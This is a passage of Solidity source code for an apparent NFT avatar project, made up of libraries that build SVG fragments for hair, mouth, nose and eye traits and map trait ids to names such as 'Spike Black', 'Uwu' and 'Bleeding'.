c3.4-7.3,5.6-19,5.2-29.5c2.7,3.7,8.9,19.9,9.6,34.3c0,0,7.9-15.9,5.9-29c0-0.2,0.2,14.5,0.3,14.3c0,0,12.1,19.9,14.9,19.7 c0-0.8-1.7-12.9-1.7-12.8c1.3,5.8,2.8,23.3,3.1,27.1l5-9.5C276.2,184,276.8,204.9,274,209.6z'/>", '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M286.7,210c0,0,8.5-10.8,8.6-18.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M133.2,190.4 c0,0-1.3-11.3,0.3-16.9"/>', abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M142.2,170 c0,0-1-6.5,1.6-20.4"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.6,128.2 c0,0-15.9,23.7-16.9,25.6s0,12.4,0.3,12.8S165.8,151.6,180.6,128.2z"/>', '<path opacity="0.2" d="M164.6,138c0,0-16.3,25.3-17.9,26.3c0,0-3.8-12.8-3-14.7s-9.6,10.3-9.9,17 c0,0-8.4-0.6-11-7.4c-1-2.5,1.4-9.1,2.1-12.2c0,0-6.5,7.9-9.4,22.5c0,0,0.6,8.8,1.1,10c0,0,3.5-14.8,4.9-17.7 c0,0-0.3,33.3,13.6,46.7c0,0-3.7-18.6-2.6-21l9.4-18.6c0,0,2.1,10.5,3.1,12.3l13.9-33.1L164.6,138z"/>', '<path opacity="0.16" d="M253.3,155.9c0.8,4.4,8.1,12.1,13.1,11.7l1.6,11c0,0-5.2-3.9-14.7-19.9 V155.9z"/>', '<path opacity="0.16" d="M237.6,139.4c0,0,4.4,3,13.9,21.7c0,0-4.3,12-4.6,12.4 C246.6,173.9,248.5,162.8,237.6,139.4z"/>', '<path opacity="0.17" d="M221,136.7c0,0,5.2,4,14.4,23c0,0-1.2,4.6-3.1,8.9 C227.7,152.4,227.1,149.9,221,136.7z"/>', '<path opacity="0.2" d="M272.1,152.6c-2.4,8.1-3.6,13.8-4.9,17.9c0,0,1.3,12.8,2.1,22.2 c4.7-8.4,5.4-8.8,5.4-9c-0.1-0.5,3.6,11.2-0.7,25.9c1.6,1,13.3-16.9,11.9-20.6c-1-2.5-0.4,19.8-4.3,22.8c0,0,6.4-2.2,9-7.9 c0,0,6.1-7,9.9-10.7c0,0,3.9-1,6.8,8.2l2.8-6.9c0,0,0.1,13.4-1.3,16.1c0,0,10.5-28.2,7.9-52.9c0,0,4.7,8.3,4.9,17.1 c0.1,8.8,1.7-8.6,0.2-17.8c0,0-6.5-13.9-8.2-15.4c0,0,2.2,14.9,1.3,18.4c0,0-8.2-15.1-11.4-17.3c0,0,1.2,41-1.6,46.1 c0,0-6.8-22.7-11.4-26.5c0,0-1.8,15.7-5,22.9C283.7,183,280.5,166.7,272.1,152.6z"/>' ), abi.encodePacked( '<path opacity="0.14" d="M198.2,115.2c-0.9-3.9,3.2-35.1,34.7-36C227.6,78.5,198.9,99.8,198.2,115.2z"/>', '<g opacity="0.76">', '<path fill="#FFFFFF" d="M153,105.9c0,0-12,15.3-14.7,23.2"/>', '<path fill="#FFFFFF" d="M126.5,125.9c0,0,9.5-20.6,23.5-27.7"/>', '<path fill="#FFFFFF" d="M297.2,121.6c0,0-9.5-20.6-23.5-27.7"/>', '<path fill="#FFFFFF" d="M241.9,109.4c0,0,10.9,19.9,11.6,23.6s3.7-5.5-10.6-23.6"/>', '<path fill="#FFFFFF" d="M155.1,117.3c0,0-10.9,19.9-11.6,23.6s-3.7-5.5,10.6-23.6"/>', '<path fill="#FFFFFF" d="M256.1,101.5c0,0,21.1,25.4,22,27.4c0.9,2-4.9-23.8-12.9-29.5c0,0,9.5,20.7,9.9,21.9 C275.4,122.5,262.2,103.6,256.1,101.5z"/>', '<path fill="#FFFFFF" d="M230,138.5c0,0-12.9-24.9-14.1-26.4c-1.2-1.4,18.2,11.9,19.3,20.2c0,0-11.9-13-12.7-13.7 C221.8,117.9,230.9,133,230,138.5z"/>', '<path fill="#FFFFFF" d="M167,136.6c0,0,15.5-24.5,17-25.8c1.5-1.2-19.1,10.6-21.6,18.8c0,0,15-13.5,15.8-14.2 C179.2,114.8,166.8,130.9,167,136.6z"/>', "</g>" ) ) ); } /// @dev Generate mohawk with the given color function spike(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' d='M287.3,207.1c0,0-0.4-17.7-3.4-20.6c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3c0.9-0.2-19.1-126.3,86.7-126.8c108.4-0.3,87.1,121.7,85.1,122.4C294.5,191.6,293.7,198,287.3,207.1z'/>", '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-miterlimit="10" d="M196,124.6c0,0-30.3-37.5-20.6-77.7c0,0,0.7,18,12,25.1c0,0-8.6-13.4-0.3-33.4c0,0,2.7,15.8,10.7,23.4c0,0-2.7-18.4,2.2-29.6c0,0,9.7,23.2,13.9,26.3c0,0-6.5-17.2,5.4-27.7c0,0-0.8,18.6,9.8,25.4c0,0-2.7-11,4-18.9c0,0,1.2,25.1,6.6,29.4c0,0-2.7-12,2.1-20c0,0,6,24,8.6,28.5c-9.1-2.6-17.9-3.2-26.6-3C223.7,72.3,198,80.8,196,124.6z"/>', crop() ) ); } function shortHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' d='M287.3,207.1c0,0-0.4-17.7-3.4-20.6c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3c0.9-0.2-19.1-126.3,86.7-126.8c108.4-0.3,87.1,121.7,85.1,122.4C294.5,191.6,293.7,198,287.3,207.1z'/>", '<path fill="#212121" stroke="#000000" stroke-miterlimit="10" d="M134.9,129.3c1-8.7,2.8-19.9,2.6-24.1 c1.1,2,4.4,6.1,4.7,6.9c2-15.1,3.9-18.6,6.6-28.2c0.1,5.2,0.4,6.1,4.6,11.9c0.1-7,4.5-17.6,8.8-24.3c0.6,3,4,8.2,5.8,10.7 c2.4-7,8.6-13.4,14.5-17.9c-0.3,3.4-0.1,6.8,0.7,10.1c4.9-5.1,7.1-8.7,15.6-15.4c-0.2,4.5,1.8,9,5.1,12c4.1-3.7,7.7-8,10.6-12.7 c0.6,3.7,1.4,7.3,2.5,10.8c2.6-4.6,7.9-8.4,12.4-11.3c1.5,3.5,1.3,11,5.9,11.7c7.1,1.1,10-3.3,11.4-10.1 c2.2,6.6,4.8,12.5,9.4,17.7c4.2,0.5,5.7-5.6,4.2-9c4.2,5.8,8.4,11.6,12.5,17.4c0.7-2.9,0.9-5.9,0.6-8.8 c3.4,7.6,9.1,16.7,13.6,23.6c0-1.9,1.8-8.5,1.8-10.4c2.6,7.3,7.7,17.9,10.3,36.6c0.2,1.1-23.8,7.5-28.8,10.1 c-1.2-2.3-2.2-4.3-6.2-8c-12.1-5.7-35.6-7.9-54.5-2.2c-16.3,4.8-21.5-2.3-31.3-3.1c-11.8-1.8-31.1-1.7-36.2,10.7 C139.6,133.6,137.9,132.2,134.9,129.3z"/>', '<polygon fill="#212121" points="270.7,138.4 300.2,129 300.7,131.1 271.3,139.9"/>', '<polygon fill="#212121" points="141.1,137 134,131.7 133.8,132.9 140.8,137.7 "/>', crop() ) ); } /// @dev Generate crop SVG function crop() private pure returns (string memory) { return string( abi.encodePacked( '<g id="Light" opacity="0.14">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1603 226.5965)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.0969 254.4865)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>', "</g>", '<path opacity="0.05" fill-rule="evenodd" clip-rule="evenodd" d="M276.4,163.7c0,0,0.2-1.9,0.2,14.1c0,0,6.5,7.5,8.5,11s2.6,17.8,2.6,17.8l7-11.2c0,0,1.8-3.2,6.6-2.6c0,0,5.6-13.1,2.2-42.2C303.5,150.6,294.2,162.1,276.4,163.7z"/>', '<path opacity="0.1" fill-rule="evenodd" clip-rule="evenodd" d="M129.2,194.4c0,0-0.7-8.9,6.8-20.3c0,0-0.2-21.2,1.3-22.9c-3.7,0-6.7-0.5-7.7-2.4C129.6,148.8,125.8,181.5,129.2,194.4z"/>' ) ); } /// @dev Generate monk SVG function monk() private pure returns (string memory) { return string( abi.encodePacked( '<path opacity="0.36" fill="#6E5454" stroke="#8A8A8A" stroke-width="0.5" stroke-miterlimit="10" d="M286.8,206.8c0,0,0.1-17.4-2.9-20.3c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3S110.3,72.1,216.1,70.4c108.4-1.7,87.1,121.7,85.1,122.4C294.7,190.1,293.2,197.7,286.8,206.8z"/>', '<g id="Bald" opacity="0.33">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1603 226.5965)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.0969 254.4865)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>', "</g>" ) ); } /// @notice Return the hair cut name of the given id /// @param id The hair Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic Brown"; } else if (id == 2) { name = "Classic Black"; } else if (id == 3) { name = "Classic Gray"; } else if (id == 4) { name = "Classic White"; } else if (id == 5) { name = "Classic Blue"; } else if (id == 6) { name = "Classic Yellow"; } else if (id == 7) { name = "Classic Pink"; } else if (id == 8) { name = "Classic Red"; } else if (id == 9) { name = "Classic Purple"; } else if (id == 10) { name = "Classic Green"; } else if (id == 11) { name = "Classic Saiki"; } else if (id == 12) { name = "Classic Brown"; } else if (id == 13) { name = "Classic 2 Black"; } else if (id == 14) { name = "Classic 2 Gray"; } else if (id == 15) { name = "Classic 2 White"; } else if (id == 16) { name = "Classic 2 Blue"; } else if (id == 17) { name = "Classic 2 Yellow"; } else if (id == 18) { name = "Classic 2 Pink"; } else if (id == 19) { name = "Classic 2 Red"; } else if (id == 20) { name = "Classic 2 Purple"; } else if (id == 21) { name = "Classic 2 Green"; } else if (id == 22) { name = "Classic 2 Saiki"; } else if (id == 23) { name = "Short Black"; } else if (id == 24) { name = "Short Blue"; } else if (id == 25) { name = "Short Pink"; } else if (id == 26) { name = "Short White"; } else if (id == 27) { name = "Spike Black"; } else if (id == 28) { name = "Spike Blue"; } else if (id == 29) { name = "Spike Pink"; } else if (id == 30) { name = "Spike White"; } else if (id == 31) { name = "Monk"; } else if (id == 32) { name = "Nihon"; } else if (id == 33) { name = "Bald"; } } /// @dev The base SVG for the hair function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Hair">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Mouth SVG generator library MouthDetail { /// @dev Mouth N°1 => Neutral function item_1() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M178.3,262.7c3.3-0.2,6.6-0.1,9.9,0c3.3,0.1,6.6,0.3,9.8,0.8c-3.3,0.3-6.6,0.3-9.9,0.2C184.8,263.6,181.5,263.3,178.3,262.7z"/>', '<path d="M201.9,263.4c1.2-0.1,2.3-0.1,3.5-0.2l3.5-0.2l6.9-0.3c2.3-0.1,4.6-0.2,6.9-0.4c1.2-0.1,2.3-0.2,3.5-0.3l1.7-0.2c0.6-0.1,1.1-0.2,1.7-0.2c-2.2,0.8-4.5,1.1-6.8,1.4s-4.6,0.5-7,0.6c-2.3,0.1-4.6,0.2-7,0.1C206.6,263.7,204.3,263.6,201.9,263.4z"/>', '<path d="M195.8,271.8c0.8,0.5,1.8,0.8,2.7,1s1.8,0.4,2.7,0.5s1.8,0,2.8-0.1c0.9-0.1,1.8-0.5,2.8-0.8c-0.7,0.7-1.6,1.3-2.6,1.6c-1,0.3-2,0.5-3,0.4s-2-0.3-2.9-0.8C197.3,273.2,196.4,272.7,195.8,271.8z"/>' ) ) ); } /// @dev Mouth N°2 => Smile function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M178.2,259.6c1.6,0.5,3.3,0.9,4.9,1.3c1.6,0.4,3.3,0.8,4.9,1.1c1.6,0.4,3.3,0.6,4.9,0.9c1.7,0.3,3.3,0.4,5,0.6c-1.7,0.2-3.4,0.3-5.1,0.2c-1.7-0.1-3.4-0.3-5.1-0.7C184.5,262.3,181.2,261.2,178.2,259.6z"/>', '<path d="M201.9,263.4l7-0.6c2.3-0.2,4.7-0.4,7-0.7c2.3-0.2,4.6-0.6,6.9-1c0.6-0.1,1.2-0.2,1.7-0.3l1.7-0.4l1.7-0.5l1.6-0.7c-0.5,0.3-1,0.7-1.5,0.9l-1.6,0.8c-1.1,0.4-2.2,0.8-3.4,1.1c-2.3,0.6-4.6,1-7,1.3s-4.7,0.4-7.1,0.5C206.7,263.6,204.3,263.6,201.9,263.4z"/>', '<path d="M195.8,271.8c0.8,0.5,1.8,0.8,2.7,1s1.8,0.4,2.7,0.5s1.8,0,2.8-0.1c0.9-0.1,1.8-0.5,2.8-0.8c-0.7,0.7-1.6,1.3-2.6,1.6c-1,0.3-2,0.5-3,0.4s-2-0.3-2.9-0.8C197.3,273.2,196.4,272.7,195.8,271.8z"/>' ) ) ); } /// @dev Mouth N°3 => Sulk function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M179.2,263.2c0,0,24.5,3.1,43.3-0.6"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M176.7,256.8c0,0,6.7,6.8-0.6,11"/>', '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M225.6,256.9c0,0-6.5,7,1,11"/>' ) ) ); } /// @dev Mouth N°4 => Poker function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<line id="Poker" fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="180" y1="263" x2="226" y2="263"/>' ) ) ); } /// @dev Mouth N°5 => Angry function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M207.5,257.1c-7,1.4-17.3,0.3-21-0.9c-4-1.2-7.7,3.1-8.6,7.2c-0.5,2.5-1.2,7.4,3.4,10.1c5.9,2.4,5.6,0.1,9.2-1.9c3.4-2,10-1.1,15.3,1.9c5.4,3,13.4,2.2,17.9-0.4c2.9-1.7,3.3-7.6-4.2-14.1C217.3,257.2,215.5,255.5,207.5,257.1"/>', '<path fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M205.9,265.5l4.1-2.2c0,0,3.7,2.9,5,3s4.9-3.2,4.9-3.2l3.9,1.4"/>', '<polyline fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="177.8,265.3 180.2,263.4 183.3,265.5 186,265.4"/>' ) ) ); } /// @dev Mouth N°6 => Big Smile function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-miterlimit="10" d="M238.1,255.9c-26.1,4-68.5,0.3-68.5,0.3C170.7,256.3,199.6,296.4,238.1,255.9"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M176.4,262.7c0,0,7.1,2.2,12,2.1"/>', '<path fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M230.6,262.8c0,0-10.4,2.1-17.7,1.8"/>' ) ) ); } /// @dev Mouth N°7 => Evil function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-miterlimit="10" d="M174.7,261.7c0,0,16.1-1.1,17.5-1.5s34.5,6.3,36.5,5.5s4.6-1.9,4.6-1.9s-14.1,8-43.6,7.9c0,0-3.9-0.7-4.7-1.8S177.1,262.1,174.7,261.7z"/>', '<polyline fill="none" stroke="#000000" stroke-miterlimit="10" points="181.6,266.7 185.5,265.3 189.1,266.5 190.3,265.9"/>', '<polyline fill="none" stroke="#000000" stroke-miterlimit="10" points="198.2,267 206.3,266.2 209.6,267.7 213.9,266.3 216.9,267.5 225.3,267"/>' ) ) ); } /// @dev Mouth N°8 => Tongue function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FF155D" d="M206.5,263.1c0,0,4,11.2,12.5,9.8c11.3-1.8,6.3-11.8,6.3-11.8L206.5,263.1z"/>', '<line fill="none" stroke="#73093E" stroke-miterlimit="10" x1="216.7" y1="262.5" x2="218.5" y2="267.3"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M201.9,263.4c0,0,20.7,0.1,27.7-4.3"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M178.2,259.6c0,0,9.9,4.2,19.8,3.9"/>' ) ) ); } /// @dev Mouth N°9 => Drool function item_9() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FEBCA6" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M190.4,257.5c2.5,0.6,5.1,0.8,7.7,0.5l17-2.1c0,0,13.3-1.8,12,3.6c-1.3,5.4-2.4,9.3-5.3,9.8c0,0,3.2,9.7-2.9,9c-3.7-0.4-2.4-7.7-2.4-7.7s-15.4,4.6-33.1-1.7c-1.8-0.6-3.6-2.6-4.4-3.9c-5.1-7.7-2-9.5-2-9.5S175.9,253.8,190.4,257.5z"/>' ) ) ); } /// @dev Mouth N°10 => O function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse transform="matrix(0.9952 -9.745440e-02 9.745440e-02 0.9952 -24.6525 20.6528)" opacity="0.84" fill-rule="evenodd" clip-rule="evenodd" cx="199.1" cy="262.7" rx="3.2" ry="4.6"/>' ) ) ); } /// @dev Mouth N°11 => Dubu function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-miterlimit="10" d="M204.2,262c-8.9-7-25.1-3.5-4.6,6.6c-22-3.8-3.2,11.9,4.8,6"/>' ) ) ); } /// @dev Mouth N°12 => Stitch function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.84" fill-rule="evenodd" clip-rule="evenodd">', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.8992 6.2667)" cx="179.6" cy="264.5" rx="2.3" ry="4.3"/>', '<ellipse transform="matrix(0.9996 -2.866329e-02 2.866329e-02 0.9996 -7.485 5.0442)" cx="172.2" cy="263.6" rx="1.5" ry="2.9"/>', '<ellipse transform="matrix(0.9996 -2.866329e-02 2.866329e-02 0.9996 -7.4594 6.6264)" cx="227.4" cy="263.5" rx="1.5" ry="2.9"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.8828 7.6318)" cx="219.7" cy="264.7" rx="2.5" ry="4.7"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.9179 6.57)" cx="188.5" cy="265.2" rx="2.9" ry="5.4"/>', '<ellipse transform="matrix(0.9994 -3.403963e-02 3.403963e-02 0.9994 -8.9153 7.3225)" cx="210.6" cy="265.5" rx="2.9" ry="5.4"/>', '<ellipse transform="matrix(0.9992 -3.983298e-02 3.983298e-02 0.9992 -10.4094 8.1532)" cx="199.4" cy="265.3" rx="4" ry="7.2"/>', "</g>" ) ) ); } /// @dev Mouth N°13 => Uwu function item_13() public pure returns (string memory) { return base( string( abi.encodePacked( '<polyline fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" points="212.7,262.9 216,266.5 217.5,261.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M176.4,256c0,0,5.7,13.4,23.1,4.2"/>', '<path fill="none" stroke="#000000" stroke-width="0.75" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M224.7,254.8c0,0-9.5,15-25.2,5.4"/>' ) ) ); } /// @dev Mouth N°14 => Monster function item_14() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#FFFFFF" stroke="#000000" stroke-width="0.75" stroke-miterlimit="10" d="M161.4,255c0,0,0.5,0.1,1.3,0.3 c4.2,1,39.6,8.5,84.8-0.7C247.6,254.7,198.9,306.9,161.4,255z"/>', '<polyline fill="none" stroke="#000000" stroke-width="0.75" stroke-linejoin="round" stroke-miterlimit="10" points="165.1,258.9 167,256.3 170.3,264.6 175.4,257.7 179.2,271.9 187,259.1 190.8,276.5 197,259.7 202.1,277.5 207.8,259.1 213.8,275.4 217.9,258.7 224.1,271.2 226.5,257.9 232.7,266.2 235.1,256.8 238.6,262.1 241.3,255.8 243.8,257.6"/>' ) ) ); } /// @notice Return the mouth name of the given id /// @param id The mouth Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Neutral"; } else if (id == 2) { name = "Smile"; } else if (id == 3) { name = "Sulk"; } else if (id == 4) { name = "Poker"; } else if (id == 5) { name = "Angry"; } else if (id == 6) { name = "Big Smile"; } else if (id == 7) { name = "Evil"; } else if (id == 8) { name = "Tongue"; } else if (id == 9) { name = "Drool"; } else if (id == 10) { name = "O"; } else if (id == 11) { name = "Dubu"; } else if (id == 12) { name = "Stitch"; } else if (id == 13) { name = "Uwu"; } else if (id == 14) { name = "Monster"; } } /// @dev The base SVG for the mouth function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mouth">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Nose SVG generator library NoseDetail { /// @dev Nose N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Nose N°2 => Bleeding function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#E90000" d="M205.8,254.1C205.8,254.1,205.9,254.1,205.8,254.1c0.1,0,0.1,0.1,0.1,0.1c0,0.2,0,0.5-0.2,0.7c-0.1,0.1-0.3,0.1-0.4,0.1c-0.4,0-0.8,0.1-1.2,0.1c-0.2,0-0.7,0.2-0.8,0s0.1-0.4,0.2-0.5c0.3-0.2,0.7-0.2,1-0.3C204.9,254.3,205.4,254.1,205.8,254.1z"/>', '<path fill="#E90000" d="M204.3,252.8c0.3-0.1,0.6-0.2,0.9-0.1c0.1,0.2,0.1,0.4,0.2,0.6c0,0.1,0,0.1,0,0.2c0,0.1-0.1,0.1-0.2,0.1c-0.7,0.2-1.4,0.3-2.1,0.5c-0.2,0-0.3,0.1-0.4-0.1c0-0.1-0.1-0.2,0-0.3c0.1-0.2,0.4-0.3,0.6-0.4C203.6,253.1,203.9,252.9,204.3,252.8z"/>', '<path fill="#FF0000" d="M204.7,240.2c0.3,1.1,0.1,2.3-0.1,3.5c-0.3,2-0.5,4.1,0,6.1c0.1,0.4,0.3,0.9,0.2,1.4c-0.2,0.9-1.1,1.3-2,1.6c-0.1,0-0.2,0.1-0.4,0.1c-0.3-0.1-0.4-0.5-0.4-0.8c-0.1-1.9,0.5-3.9,0.8-5.8c0.3-1.7,0.3-3.2-0.1-4.8c-0.1-0.5-0.3-0.9,0.1-1.3C203.4,239.7,204.6,239.4,204.7,240.2z"/>' ) ) ); } /// @notice Return the nose name of the given id /// @param id The nose Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Bleeding"; } } /// @dev The base SVG for the Nose function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Nose bonus">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Eyes SVG generator library EyesDetail { /// @dev Eyes N°1 => Color White/Brown function item_1() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BROWN); } /// @dev Eyes N°2 => Color White/Gray function item_2() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.GRAY); } /// @dev Eyes N°3 => Color White/Blue function item_3() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BLUE); } /// @dev Eyes N°4 => Color White/Green function item_4() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.GREEN); } /// @dev Eyes N°5 => Color White/Black function item_5() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.BLACK_DEEP); } /// @dev Eyes N°6 => Color White/Yellow function item_6() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.YELLOW); } /// @dev Eyes N°7 => Color White/Red function item_7() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.RED); } /// @dev Eyes N°8 => Color White/Purple function item_8() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.PURPLE); } /// @dev Eyes N°9 => Color White/Pink function item_9() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.PINK); } /// @dev Eyes N°10 => Color White/White function item_10() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.WHITE, Colors.WHITE); } /// @dev Eyes N°11 => Color Black/Blue function item_11() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.BLUE); } /// @dev Eyes N°12 => Color Black/Yellow function item_12() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.YELLOW); } /// @dev Eyes N°13 => Color Black/White function item_13() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.WHITE); } /// @dev Eyes N°14 => Color Black/Red function item_14() public pure returns (string memory) { return eyesNoFillAndColorPupils(Colors.BLACK, Colors.RED); } /// @dev Eyes N°15 => Blank White/White function item_15() public pure returns (string memory) { return eyesNoFillAndBlankPupils(Colors.WHITE, Colors.WHITE); } /// @dev Eyes N°16 => Blank Black/White function item_16() public pure returns (string memory) { return eyesNoFillAndBlankPupils(Colors.BLACK_DEEP, Colors.WHITE); } /// @dev Eyes N°17 => Shine (no-fill) function item_17() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path fill="#FFEE00" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M161.4,195.1c1.4,7.4,1.4,7.3,8.8,8.8 c-7.4,1.4-7.3,1.4-8.8,8.8c-1.4-7.4-1.4-7.3-8.8-8.8C160,202.4,159.9,202.5,161.4,195.1z"/>', '<path fill="#FFEE00" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M236.1,194.9c1.4,7.4,1.4,7.3,8.8,8.8 c-7.4,1.4-7.3,1.4-8.8,8.8c-1.4-7.4-1.4-7.3-8.8-8.8C234.8,202.3,234.7,202.3,236.1,194.9z"/>' ) ) ); } /// @dev Eyes N°18 => Stun (no-fill) function item_18() public pure returns (string memory) { return base( string( abi.encodePacked( eyesNoFill(Colors.WHITE), '<path d="M233.6,205.2c0.2-0.8,0.6-1.7,1.3-2.3c0.4-0.3,0.9-0.5,1.3-0.4c0.5,0.1,0.9,0.4,1.2,0.8c0.5,0.8,0.6,1.8,0.6,2.7c0,0.9-0.4,1.9-1.1,2.6c-0.7,0.7-1.7,1.1-2.7,1c-1-0.1-1.8-0.7-2.5-1.2c-0.7-0.5-1.4-1.2-1.9-2c-0.5-0.8-0.8-1.8-0.7-2.8c0.1-1,0.5-1.9,1.1-2.6c0.6-0.7,1.4-1.3,2.2-1.7c1.7-0.8,3.6-1,5.3-0.6c0.9,0.2,1.8,0.5,2.5,1.1c0.7,0.6,1.2,1.5,1.3,2.4c0.3,1.8-0.3,3.7-1.4,4.9c1-1.4,1.4-3.2,1-4.8c-0.2-0.8-0.6-1.5-1.3-2c-0.6-0.5-1.4-0.8-2.2-0.9c-1.6-0.2-3.4,0-4.8,0.7c-1.4,0.7-2.7,2-2.8,3.5c-0.2,1.5,0.9,3,2.2,4c0.7,0.5,1.3,1,2.1,1.1c0.7,0.1,1.5-0.2,2.1-0.7c0.6-0.5,0.9-1.3,1-2.1c0.1-0.8,0-1.7-0.4-2.3c-0.2-0.3-0.5-0.6-0.8-0.7c-0.4-0.1-0.8,0-1.1,0.2C234.4,203.6,233.9,204.4,233.6,205.2z"/>', '<path 